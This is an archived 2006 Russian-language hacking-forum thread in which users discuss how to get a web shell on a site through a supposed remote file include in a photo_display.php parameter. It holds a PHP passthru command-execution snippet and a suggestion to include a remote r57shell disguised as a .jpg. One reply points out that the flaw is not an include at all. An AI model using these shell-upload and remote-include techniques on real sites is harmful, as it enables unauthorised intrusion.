PDA

Просмотр полной версии : Как получить шелл?


liauliau
27.08.2006, 13:08
Есть сайт:
http://www.site.com/includes/photo_display.php?photo=http
Вылетает ошибка:
------------------------------------------------------
Warning: getimagesize(http) [function.getimagesize]: failed to open stream: No such file or directory in /путь/includes/photo_display.php on line 8
------------------------------------------------------
Вроде как инклуд. Пытаюсь проклудть - не получается. Но когда загужаю картинку(jpg,gif):
http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/ris.jpg - появляется картинка.
Пробовал добавить дебагером в картинку <? passthru($cmd); ?> - шелл получить не получается.
Что делать? Как получить шелл?

Sn@k3
27.08.2006, 13:18
хз =). попробуй пихнуть шелл примерно так
Http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/r57shell.php.jpg - думаю понятно, открываешь картинку и туда код php
в осле и опере пробуй этот метод. отпишись как прошло
помоему тут все просто

Ch3ck
27.08.2006, 13:23
Попробуй вообще без расширений подставить, или с расширениями в разном регистре...

max_pain89
27.08.2006, 13:31
getimagesize, function.getimagesize

эти слова должны натолкнуть вас, что инклуд пишется по другому... не верите??? просто проверьте.
Даже из названия можно понять что эта функция возвращает не исполненный удаленный код, а размеры удаленной (можно и локальной) картинки... это все.


не каждая ошибка в пхп класса Warning является инклудом

Ch3ck
27.08.2006, 14:15
Сорри за флейм, но только щас заметил, что это ведь вроде как скрипт двига PHOTO Gallery ???